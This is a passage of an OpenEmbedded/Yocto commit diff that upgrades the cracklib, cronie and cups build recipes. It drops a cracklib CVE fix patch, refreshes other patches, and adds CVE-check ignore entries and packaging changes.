-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- lib/fascist.c | 57 ++++++++++++++++++++++++++++++++-----------------------
- 1 file changed, 33 insertions(+), 24 deletions(-)
-
-diff --git a/lib/fascist.c b/lib/fascist.c
-index a996509..d4deb15 100644
---- a/lib/fascist.c
-+++ b/lib/fascist.c
-@@ -502,7 +502,7 @@ FascistGecosUser(char *password, const char *user, const char *gecos)
- char gbuffer[STRINGSIZE];
- char tbuffer[STRINGSIZE];
- char *uwords[STRINGSIZE];
-- char longbuffer[STRINGSIZE * 2];
-+ char longbuffer[STRINGSIZE];
-
- if (gecos == NULL)
- gecos = "";
-@@ -583,38 +583,47 @@ FascistGecosUser(char *password, const char *user, const char *gecos)
- {
- for (i = 0; i < j; i++)
- {
-- strcpy(longbuffer, uwords[i]);
-- strcat(longbuffer, uwords[j]);
--
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[i]) + strlen(uwords[j]) < STRINGSIZE)
- {
-- return _("it is derived from your password entry");
-- }
-+ strcpy(longbuffer, uwords[i]);
-+ strcat(longbuffer, uwords[j]);
-
-- strcpy(longbuffer, uwords[j]);
-- strcat(longbuffer, uwords[i]);
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it is derived from your password entry");
-+ }
-
-- if (GTry(longbuffer, password))
-- {
-- return _("it's derived from your password entry");
-- }
-+ strcpy(longbuffer, uwords[j]);
-+ strcat(longbuffer, uwords[i]);
-
-- longbuffer[0] = uwords[i][0];
-- longbuffer[1] = '\0';
-- strcat(longbuffer, uwords[j]);
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it's derived from your password entry");
-+ }
-+ }
-
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[j]) < STRINGSIZE - 1)
- {
-- return _("it is derivable from your password entry");
-+ longbuffer[0] = uwords[i][0];
-+ longbuffer[1] = '\0';
-+ strcat(longbuffer, uwords[j]);
-+
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it is derivable from your password entry");
-+ }
- }
-
-- longbuffer[0] = uwords[j][0];
-- longbuffer[1] = '\0';
-- strcat(longbuffer, uwords[i]);
--
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[i]) < STRINGSIZE - 1)
- {
-- return _("it's derivable from your password entry");
-+ longbuffer[0] = uwords[j][0];
-+ longbuffer[1] = '\0';
-+ strcat(longbuffer, uwords[i]);
-+
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it's derivable from your password entry");
-+ }
- }
- }
- }
---
-2.8.1
-
diff --git a/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch b/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
index adbe7dfff4..8fb512a224 100644
--- a/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
+++ b/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
@@ -1,7 +1,7 @@
-From 8a6e43726ad0ae41bd1cc2c248d91deb31459357 Mon Sep 17 00:00:00 2001
+From aae03b7e626d5f62ab929d51d11352a5a2ff6b2d Mon Sep 17 00:00:00 2001
From: Lei Maohui <leimaohui@cn.fujitsu.com>
Date: Tue, 9 Jun 2015 11:11:48 +0900
-Subject: [PATCH] packlib.c: support dictionary byte order dependent
+Subject: [PATCH 1/2] packlib.c: support dictionary byte order dependent
The previous dict files are NOT byte-order independent, in fact they are
probably ARCHITECTURE SPECIFIC.
@@ -9,7 +9,7 @@ Create the dict files in big endian, and convert to host endian while
load them. This could fix the endian issue on multiple platform.
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/cracklib/cracklib/pull/41]
We can't use the endian.h, htobe* and be*toh functions because they are
not available on older versions of glibc, such as that found in RHEL
@@ -22,11 +22,11 @@ Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
Signed-off-by: Lei Maohui <leimaohui@cn.fujitsu.com>
---
- lib/packlib.c | 214 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++--
+ lib/packlib.c | 214 +++++++++++++++++++++++++++++++++++++++++++++-
1 file changed, 210 insertions(+), 4 deletions(-)
diff --git a/lib/packlib.c b/lib/packlib.c
-index f851424..3aac805 100644
+index 8acb7be..a9d8750 100644
--- a/lib/packlib.c
+++ b/lib/packlib.c
@@ -16,6 +16,12 @@
@@ -317,7 +317,7 @@ index f851424..3aac805 100644
+ fwrite((char *) &tmpdatum, sizeof(tmpdatum), 1, pwp->ifp);
fputs(pwp->data_put[0], pwp->dfp);
- putc(0, pwp->dfp);
+ putc(0, (FILE*) pwp->dfp);
@@ -464,6 +668,7 @@ GetPW(pwp, number)
perror("(index fread failed)");
return NULL;
@@ -335,5 +335,5 @@ index f851424..3aac805 100644
int r = 1;
--
-1.8.4.2
+2.20.1
diff --git a/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch b/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch
index 6210e82121..1ee97357d0 100644
--- a/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch
+++ b/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch
@@ -1,7 +1,7 @@
-From 06f9a88b5dd5597f9198ea0cb34f5e96f180e6e3 Mon Sep 17 00:00:00 2001
+From 7250328d7f77069726603ef7132826c9260d3c92 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Sat, 27 Apr 2013 16:02:30 +0800
-Subject: [PATCH] craklib:fix testnum and teststr failed
+Subject: [PATCH 2/2] craklib:fix testnum and teststr failed
Error log:
...
@@ -16,10 +16,10 @@ PWOpen: No such file or directory
Set DEFAULT_CRACKLIB_DICT as the path of PWOpen
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/cracklib/cracklib/pull/42]
---
- util/testnum.c | 2 +-
- util/teststr.c | 2 +-
+ util/testnum.c | 2 +-
+ util/teststr.c | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/util/testnum.c b/util/testnum.c
@@ -49,5 +49,5 @@ index 2a31fa4..9fb9cda 100644
perror ("PWOpen");
return (-1);
--
-1.7.10.4
+2.20.1
diff --git a/meta/recipes-extended/cracklib/cracklib_2.9.5.bb b/meta/recipes-extended/cracklib/cracklib_2.9.5.bb
deleted file mode 100644
index 82995219dc..0000000000
--- a/meta/recipes-extended/cracklib/cracklib_2.9.5.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Password strength checker library"
-HOMEPAGE = "http://sourceforge.net/projects/cracklib"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
-
-DEPENDS = "cracklib-native zlib"
-
-EXTRA_OECONF = "--without-python --libdir=${base_libdir}"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/cracklib/cracklib-${PV}.tar.gz \
- file://0001-packlib.c-support-dictionary-byte-order-dependent.patch \
- file://0001-Apply-patch-to-fix-CVE-2016-6318.patch \
- file://0002-craklib-fix-testnum-and-teststr-failed.patch"
-
-SRC_URI[md5sum] = "376790a95c1fb645e59e6e9803c78582"
-SRC_URI[sha256sum] = "59ab0138bc8cf90cccb8509b6969a024d5e58d2d02bcbdccbb9ba9b88be3fa33"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/cracklib/files/cracklib/"
-UPSTREAM_CHECK_REGEX = "/cracklib/(?P<pver>(\d+[\.\-_]*)+)/"
-
-inherit autotools gettext
-
-do_install_append_class-target() {
- create-cracklib-dict -o ${D}${datadir}/cracklib/pw_dict ${D}${datadir}/cracklib/cracklib-small
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-extended/cracklib/cracklib_2.9.7.bb b/meta/recipes-extended/cracklib/cracklib_2.9.7.bb
new file mode 100644
index 0000000000..629069e844
--- /dev/null
+++ b/meta/recipes-extended/cracklib/cracklib_2.9.7.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Password strength checker library"
+HOMEPAGE = "https://github.com/cracklib/cracklib"
+DESCRIPTION = "${SUMMARY}"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
+
+DEPENDS = "cracklib-native zlib"
+
+EXTRA_OECONF = "--without-python --libdir=${base_libdir}"
+
+SRC_URI = "git://github.com/cracklib/cracklib;protocol=https;branch=master \
+ file://0001-packlib.c-support-dictionary-byte-order-dependent.patch \
+ file://0002-craklib-fix-testnum-and-teststr-failed.patch"
+
+SRCREV = "f83934cf3cced0c9600c7d81332f4169f122a2cf"
+S = "${WORKDIR}/git/src"
+
+inherit autotools gettext
+
+# This is custom stuff from upstream's autogen.sh
+do_configure:prepend() {
+ mkdir -p ${S}/m4
+ echo EXTRA_DIST = *.m4 > ${S}/m4/Makefile.am
+ touch ${S}/ABOUT-NLS
+}
+
+do_install:append:class-target() {
+ create-cracklib-dict -o ${D}${datadir}/cracklib/pw_dict ${D}${datadir}/cracklib/cracklib-small
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-extended/cronie/cronie_1.5.4.bb b/meta/recipes-extended/cronie/cronie_1.5.4.bb
deleted file mode 100644
index d35c6672c4..0000000000
--- a/meta/recipes-extended/cronie/cronie_1.5.4.bb
+++ /dev/null
@@ -1,83 +0,0 @@
-SUMMARY = "Cron daemon for executing programs at set times"
-DESCRIPTION = "Cronie contains the standard UNIX daemon crond that runs \
-specified programs at scheduled times and related tools. It is based on the \
-original cron and has security and configuration enhancements like the \
-ability to use pam and SELinux."
-HOMEPAGE = "https://github.com/cronie-crond/cronie/"
-BUGTRACKER = "https://bugzilla.redhat.com"
-
-# Internet Systems Consortium License
-LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=dd2a592170760e1386c769e1043b3722 \
- file://src/cron.c;endline=20;md5=b425c334265026177128353a142633b4 \
- file://src/popen.c;beginline=3;endline=31;md5=edd50742d8def712e9472dba353668a9"
-
-SECTION = "utils"
-
-UPSTREAM_CHECK_URI = "https://github.com/cronie-crond/${BPN}/releases/"
-
-SRC_URI = "https://github.com/cronie-crond/cronie/releases/download/cronie-${PV}-final/cronie-${PV}.tar.gz \
- file://crond.init \
- file://crontab \
- file://crond.service \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)}"
-
-PAM_SRC_URI = "file://crond_pam_config.patch"
-PAM_DEPS = "libpam libpam-runtime pam-plugin-access pam-plugin-loginuid"
-
-SRC_URI[md5sum] = "20233b96997e17a142e1fbe0d7ce8223"
-SRC_URI[sha256sum] = "af8970559cad4262f8ffd7ec72abf682d2dcce04fdfb8f206a71d96566aba882"
-
-inherit autotools update-rc.d useradd systemd
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
-
-PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit,"
-PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam,${PAM_DEPS}"
-
-INITSCRIPT_NAME = "crond"
-INITSCRIPT_PARAMS = "start 90 2 3 4 5 . stop 60 0 1 6 ."
-
-USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "--system crontab"
-
-SYSTEMD_SERVICE_${PN} = "crond.service"
-
-do_install_append () {
- install -d ${D}${sysconfdir}/sysconfig/
- install -d ${D}${sysconfdir}/init.d/
- install -m 0644 ${S}/crond.sysconfig ${D}${sysconfdir}/sysconfig/crond
- install -m 0755 ${WORKDIR}/crond.init ${D}${sysconfdir}/init.d/crond
-
- # install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/crond.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/crond.service
-
- # below are necessary for a complete cron environment
- install -d ${D}${localstatedir}/spool/cron
- install -m 0755 ${WORKDIR}/crontab ${D}${sysconfdir}/
- mkdir -p ${D}${sysconfdir}/cron.d
- mkdir -p ${D}${sysconfdir}/cron.hourly
- mkdir -p ${D}${sysconfdir}/cron.daily
- mkdir -p ${D}${sysconfdir}/cron.weekly
- mkdir -p ${D}${sysconfdir}/cron.monthly
- touch ${D}${sysconfdir}/cron.deny
-
- # below setting is necessary to allow normal user using crontab
-
- # setgid for crontab binary
- chown root:crontab ${D}${bindir}/crontab
- chmod 2755 ${D}${bindir}/crontab
-
- # allow 'crontab' group write to /var/spool/cron
- chown root:crontab ${D}${localstatedir}/spool/cron
- chmod 770 ${D}${localstatedir}/spool/cron
-
- chmod 600 ${D}${sysconfdir}/crontab
-}
-
-FILES_${PN} += "${sysconfdir}/cron*"
-CONFFILES_${PN} += "${sysconfdir}/crontab"
diff --git a/meta/recipes-extended/cronie/cronie_1.5.7.bb b/meta/recipes-extended/cronie/cronie_1.5.7.bb
new file mode 100644
index 0000000000..8200bedb19
--- /dev/null
+++ b/meta/recipes-extended/cronie/cronie_1.5.7.bb
@@ -0,0 +1,83 @@
+SUMMARY = "Cron daemon for executing programs at set times"
+DESCRIPTION = "Cronie contains the standard UNIX daemon crond that runs \
+specified programs at scheduled times and related tools. It is based on the \
+original cron and has security and configuration enhancements like the \
+ability to use pam and SELinux."
+HOMEPAGE = "https://github.com/cronie-crond/cronie/"
+BUGTRACKER = "https://bugzilla.redhat.com"
+
+# Internet Systems Consortium License
+LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=dd2a592170760e1386c769e1043b3722 \
+ file://src/cron.c;endline=20;md5=b425c334265026177128353a142633b4 \
+ file://src/popen.c;beginline=3;endline=31;md5=edd50742d8def712e9472dba353668a9"
+
+SECTION = "utils"
+
+UPSTREAM_CHECK_URI = "https://github.com/cronie-crond/${BPN}/releases/"
+
+SRC_URI = "https://github.com/cronie-crond/cronie/releases/download/cronie-${PV}/cronie-${PV}.tar.gz \
+ file://crond.init \
+ file://crontab \
+ file://crond.service \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)}"
+
+PAM_SRC_URI = "file://crond_pam_config.patch"
+PAM_DEPS = "libpam libpam-runtime pam-plugin-access pam-plugin-loginuid"
+
+SRC_URI[sha256sum] = "538bcfaf2e986e5ae1edf6d1472a77ea8271d6a9005aee2497a9ed6e13320eb3"
+
+inherit autotools update-rc.d useradd systemd
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
+
+PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit,"
+PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam,${PAM_DEPS}"
+PACKAGECONFIG[anacron] = "--enable-anacron,--disable-anacron,anacron"
+
+INITSCRIPT_NAME = "crond"
+INITSCRIPT_PARAMS = "start 90 2 3 4 5 . stop 60 0 1 6 ."
+
+USERADD_PACKAGES = "${PN}"
+GROUPADD_PARAM:${PN} = "--system crontab"
+
+SYSTEMD_SERVICE:${PN} = "crond.service"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/sysconfig/
+ install -d ${D}${sysconfdir}/init.d/
+ install -m 0644 ${S}/crond.sysconfig ${D}${sysconfdir}/sysconfig/crond
+ install -m 0755 ${WORKDIR}/crond.init ${D}${sysconfdir}/init.d/crond
+
+ # install systemd unit files
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/crond.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${systemd_system_unitdir}/crond.service
+
+ # below are necessary for a complete cron environment
+ install -d ${D}${localstatedir}/spool/cron
+ install -m 0755 ${WORKDIR}/crontab ${D}${sysconfdir}/
+ mkdir -p ${D}${sysconfdir}/cron.d
+ mkdir -p ${D}${sysconfdir}/cron.hourly
+ mkdir -p ${D}${sysconfdir}/cron.daily
+ mkdir -p ${D}${sysconfdir}/cron.weekly
+ mkdir -p ${D}${sysconfdir}/cron.monthly
+ touch ${D}${sysconfdir}/cron.deny
+
+ # below setting is necessary to allow normal user using crontab
+
+ # setgid for crontab binary
+ chown root:crontab ${D}${bindir}/crontab
+ chmod 2755 ${D}${bindir}/crontab
+
+ # allow 'crontab' group write to /var/spool/cron
+ chown root:crontab ${D}${localstatedir}/spool/cron
+ chmod 770 ${D}${localstatedir}/spool/cron
+
+ chmod 600 ${D}${sysconfdir}/crontab
+}
+
+FILES:${PN} += "${sysconfdir}/cron*"
+CONFFILES:${PN} += "${sysconfdir}/crontab"
diff --git a/meta/recipes-extended/cups/cups.inc b/meta/recipes-extended/cups/cups.inc
index 2149cbe4cf..8f2ad8a009 100644
--- a/meta/recipes-extended/cups/cups.inc
+++ b/meta/recipes-extended/cups/cups.inc
@@ -5,72 +5,71 @@ Protocol (IPP), and has its own filtering driver model for handling various \
document types."
HOMEPAGE = "https://www.cups.org/"
SECTION = "console/utils"
-LICENSE = "GPLv2 & LGPLv2"
-DEPENDS = "gnutls libpng jpeg dbus zlib libusb1"
-
-SRC_URI = "https://github.com/apple/cups/releases/download/v${PV}/${BP}-source.tar.gz \
- file://use_echo_only_in_init.patch \
- file://0001-don-t-try-to-run-generated-binaries.patch \
- file://cups_serverbin.patch \
- file://cups-avoid-install-file-conflicts.patch \
+LICENSE = "Apache-2.0"
+DEPENDS = "libpng jpeg dbus zlib libusb1"
+
+SRC_URI = "https://github.com/OpenPrinting/cups/releases/download/v${PV}/cups-${PV}-source.tar.gz \
+ file://0001-use-echo-only-in-init.patch \
+ file://0002-don-t-try-to-run-generated-binaries.patch \
+ file://libexecdir.patch \
+ file://0004-cups-fix-multilib-install-file-conflicts.patch \
+ file://volatiles.99_cups \
+ file://cups-volatiles.conf \
"
-UPSTREAM_CHECK_URI = "https://github.com/apple/cups/releases"
-UPSTREAM_CHECK_REGEX = "cups-(?P<pver>\d+\.\d+(\.\d+)?)-source.tar"
+UPSTREAM_CHECK_URI = "https://github.com/OpenPrinting/cups/releases"
+UPSTREAM_CHECK_REGEX = "cups-(?P<pver>(?!.+\d(b|rc)\d.+).+)-source.tar"
+
+# Issue only applies to MacOS
+CVE_CHECK_IGNORE += "CVE-2008-1033"
+# Issue affects pdfdistiller plugin used with but not part of cups
+CVE_CHECK_IGNORE += "CVE-2009-0032"
+# This is an Ubuntu only issue.
+CVE_CHECK_IGNORE += "CVE-2018-6553"
LEAD_SONAME = "libcupsdriver.so"
CLEANBROKEN = "1"
-inherit autotools-brokensep binconfig useradd systemd pkgconfig
+inherit autotools-brokensep binconfig useradd systemd pkgconfig multilib_script
USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "--system lpadmin"
+GROUPADD_PARAM:${PN} = "--system lpadmin"
-SYSTEMD_SERVICE_${PN} = "org.cups.cupsd.socket org.cups.cupsd.path org.cups.cupsd.service org.cups.cups-lpd.socket org.cups.cups-lpd@.service"
+SYSTEMD_SERVICE:${PN} = "cups.socket cups.path cups.service cups-lpd.socket"
PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)} \
${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)}"
-PACKAGECONFIG[avahi] = "--enable-avahi,--disable-avahi,avahi"
+PACKAGECONFIG[avahi] = "--with-dnssd=avahi,--with-dnssd=no,avahi"
PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl"
+PACKAGECONFIG[gnutls] = "--with-tls=gnutls,--with-tls=no,gnutls"
PACKAGECONFIG[pam] = "--enable-pam --with-pam-module=unix, --disable-pam, libpam"
PACKAGECONFIG[systemd] = "--with-systemd=${systemd_system_unitdir},--without-systemd,systemd"
PACKAGECONFIG[xinetd] = "--with-xinetd=${sysconfdir}/xinetd.d,--without-xinetd,xinetd"
EXTRA_OECONF = " \
- --enable-gnutls \
--enable-dbus \
+ --with-dbusdir=${sysconfdir}/dbus-1 \
--enable-browsing \
--disable-gssapi \
--enable-debug \
--disable-relro \
--enable-libusb \
- --without-php \
- --without-perl \
- --without-python \
- --without-java \
+ --with-system-groups=lpadmin \
+ --with-cups-group=lp \
+ --with-domainsocket=/run/cups/cups.sock \
+ --with-pkgconfpath=${libdir}/pkgconfig \
DSOFLAGS='${LDFLAGS}' \
"
EXTRA_AUTORECONF += "--exclude=autoheader"
-do_compile () {
- echo "all:" > man/Makefile
- echo "libs:" >> man/Makefile
- echo "install:" >> man/Makefile
- echo "install-data:" >> man/Makefile
- echo "install-exec:" >> man/Makefile
- echo "install-headers:" >> man/Makefile
- echo "install-libs:" >> man/Makefile
-
- oe_runmake
-}
-
do_install () {
- oe_runmake "DSTROOT=${D}" install
+ oe_runmake "DESTDIR=${D}" install
# Remove /var/run from package as cupsd will populate it on startup
rm -fr ${D}/${localstatedir}/run
+ rm -fr ${D}/${localstatedir}/log
rmdir ${D}/${libexecdir}/${BPN}/driver
# Fix the pam configuration file permissions
@@ -82,34 +81,41 @@ do_install () {
if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','false','true',d)}; then
rm -rf ${D}${sysconfdir}/init.d/
rm -rf ${D}${sysconfdir}/rc*
+ install -d ${D}${sysconfdir}/tmpfiles.d
+ install -m 0644 ${WORKDIR}/cups-volatiles.conf \
+ ${D}${sysconfdir}/tmpfiles.d/cups.conf
+ else
+ install -d ${D}${sysconfdir}/default/volatiles
+ install -m 0644 ${WORKDIR}/volatiles.99_cups \
+ ${D}${sysconfdir}/default/volatiles/99_cups
fi
}
PACKAGES =+ "${PN}-lib ${PN}-libimage"
-RDEPENDS_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}"
-FILES_${PN} += "${libdir}/cups/backend \
- ${libdir}/cups/cgi-bin \
- ${libdir}/cups/filter \
- ${libdir}/cups/monitor \
- ${libdir}/cups/notifier \
- ${libdir}/cups/daemon \
- "
+RDEPENDS:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}"
+FILES:${PN} += "${libexecdir}/cups/"
-FILES_${PN}-lib = "${libdir}/libcups.so.*"
+FILES:${PN}-lib = "${libdir}/libcups.so.*"
-FILES_${PN}-libimage = "${libdir}/libcupsimage.so.*"
+FILES:${PN}-libimage = "${libdir}/libcupsimage.so.*"
#package the html for the webgui inside the main packages (~1MB uncompressed)
-FILES_${PN} += "${datadir}/doc/cups/images \
+FILES:${PN} += "${datadir}/doc/cups/images \
${datadir}/doc/cups/*html \
${datadir}/doc/cups/*.css \
${datadir}/icons/ \
"
-CONFFILES_${PN} += "${sysconfdir}/cups/cupsd.conf"
+CONFFILES:${PN} += "${sysconfdir}/cups/cupsd.conf"
+
+MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/cups-config"
SYSROOT_PREPROCESS_FUNCS += "cups_sysroot_preprocess"
cups_sysroot_preprocess () {
- sed -i ${SYSROOT_DESTDIR}${bindir_crossscripts}/cups-config -e 's:cups_datadir=.*:cups_datadir=${datadir}/cups:' -e 's:cups_serverbin=.*:cups_serverbin=${libdir}/cups:'
+ sed -i ${SYSROOT_DESTDIR}${bindir_crossscripts}/cups-config -e 's:cups_datadir=.*:cups_datadir=${datadir}/cups:' -e 's:cups_serverbin=.*:cups_serverbin=${libexecdir}/cups:'
}
+
+# -25317 concerns /var/log/cups having lp ownership. Our /var/log/cups is
+# root:root, so this doesn't apply.
+CVE_CHECK_IGNORE += "CVE-2021-25317"
diff --git a/meta/recipes-extended/cups/cups/0001-don-t-try-to-run-generated-binaries.patch b/meta/recipes-extended/cups/cups/0001-don-t-try-to-run-generated-binaries.patch
deleted file mode 100644
index d6a69f2833..0000000000
--- a/meta/recipes-extended/cups/cups/0001-don-t-try-to-run-generated-binaries.patch
+++ /dev/null
@@ -1,70 +0,0 @@
-From 1fb07162a9ed187cccf06e34c9bf841d15c6e64e Mon Sep 17 00:00:00 2001
-From: Koen Kooi <koen@dominion.thruhere.net>
-Date: Sun, 30 Jan 2011 16:37:27 +0100
-Subject: [PATCH] don't try to run generated binaries
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Koen Kooi <koen@dominion.thruhere.net>
-
----
- ppdc/Makefile | 32 ++++++++++++++++----------------
- 1 file changed, 16 insertions(+), 16 deletions(-)
-
-diff --git a/ppdc/Makefile b/ppdc/Makefile
-index e563988..973dd3f 100644
---- a/ppdc/Makefile
-+++ b/ppdc/Makefile
-@@ -189,8 +189,8 @@ genstrings: genstrings.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC) \
- $(LD_CXX) $(ARCHFLAGS) $(LDFLAGS) -o genstrings genstrings.o \
- libcupsppdc.a ../cups/$(LIBCUPSSTATIC) $(LIBGSSAPI) $(SSLLIBS) \
- $(DNSSDLIBS) $(COMMONLIBS) $(LIBZ)
-- echo Generating localization strings...
-- ./genstrings >sample.c
-+# echo Generating localization strings...
-+# ./genstrings >sample.c
-
-
- #
-@@ -209,9 +209,9 @@ ppdc-static: ppdc.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC) foo.drv foo-fr.po
- ../cups/$(LIBCUPSSTATIC) $(LIBGSSAPI) $(SSLLIBS) $(DNSSDLIBS) \
- $(COMMONLIBS) $(LIBZ)
- $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@
-- echo Testing PPD compiler...
-- ./ppdc-static -l en,fr -I ../data foo.drv
-- ./ppdc-static -l en,fr -z -I ../data foo.drv
-+# echo Testing PPD compiler...
-+# ./ppdc-static -l en,fr -I ../data foo.drv
-+# ./ppdc-static -l en,fr -z -I ../data foo.drv
-
-
- #
-@@ -240,17 +240,17 @@ ppdi-static: ppdc-static ppdi.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC)
- ../cups/$(LIBCUPSSTATIC) $(LIBGSSAPI) $(SSLLIBS) $(DNSSDLIBS) \
- $(COMMONLIBS) $(LIBZ)
- $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@
-- echo Testing PPD importer...
-- $(RM) -r ppd ppd2 sample-import.drv
-- ./ppdc-static -l en -I ../data sample.drv
-- ./ppdi-static -I ../data -o sample-import.drv ppd/*
-- ./ppdc-static -l en -I ../data -d ppd2 sample-import.drv
-- if diff -r ppd ppd2 >/dev/null; then \
-- echo PPD import OK; \
-- else \
-- echo PPD import FAILED; \
-- exit 1; \
-- fi
-+# echo Testing PPD importer...
-+# $(RM) -r ppd ppd2 sample-import.drv
-+# ./ppdc-static -l en -I ../data sample.drv
-+# ./ppdi-static -I ../data -o sample-import.drv ppd/*
-+# ./ppdc-static -l en -I ../data -d ppd2 sample-import.drv
-+# if diff -r ppd ppd2 >/dev/null; then \
-+# echo PPD import OK; \
-+# else \
-+# echo PPD import FAILED; \
-+# exit 1; \
-+# fi
-
-
- #
diff --git a/meta/recipes-extended/cups/cups/0001-use-echo-only-in-init.patch b/meta/recipes-extended/cups/cups/0001-use-echo-only-in-init.patch
new file mode 100644
index 0000000000..80bbad0a44
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/0001-use-echo-only-in-init.patch
@@ -0,0 +1,27 @@
+From a3f4d8ba97f4669a95943a7e65eb61aa44ce7999 Mon Sep 17 00:00:00 2001
+From: Saul Wold <sgw@linux.intel.com>
+Date: Thu, 13 Dec 2012 19:03:52 -0800
+Subject: [PATCH 1/4] use echo only in init
+
+Upstream-Status: Inappropriate [embedded specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ scheduler/cups.sh.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/scheduler/cups.sh.in b/scheduler/cups.sh.in
+index 89ac36d..6618a0f 100644
+--- a/scheduler/cups.sh.in
++++ b/scheduler/cups.sh.in
+@@ -50,7 +50,7 @@ case "`uname`" in
+ ECHO_ERROR=:
+ ;;
+
+- Linux*)
++ DisableLinux*)
+ IS_ON=/bin/true
+ if test -f /etc/init.d/functions; then
+ . /etc/init.d/functions
+--
+2.17.1
+
diff --git a/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
new file mode 100644
index 0000000000..2bc26edbfc
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
@@ -0,0 +1,31 @@
+From 3e9a965dcd65ab2d40b753b6f792a1a4559182aa Mon Sep 17 00:00:00 2001
+From: Koen Kooi <koen@dominion.thruhere.net>
+Date: Sun, 30 Jan 2011 16:37:27 +0100
+Subject: [PATCH 2/4] don't try to run generated binaries
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Koen Kooi <koen@dominion.thruhere.net>
+
+---
+ ppdc/Makefile | 32 ++++++++++++++++----------------
+ 1 file changed, 16 insertions(+), 16 deletions(-)
+
+diff --git a/ppdc/Makefile b/ppdc/Makefile
+index 32e2e0b..f1478d4 100644
+--- a/ppdc/Makefile
++++ b/ppdc/Makefile
+@@ -186,8 +186,8 @@ genstrings: genstrings.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC) \
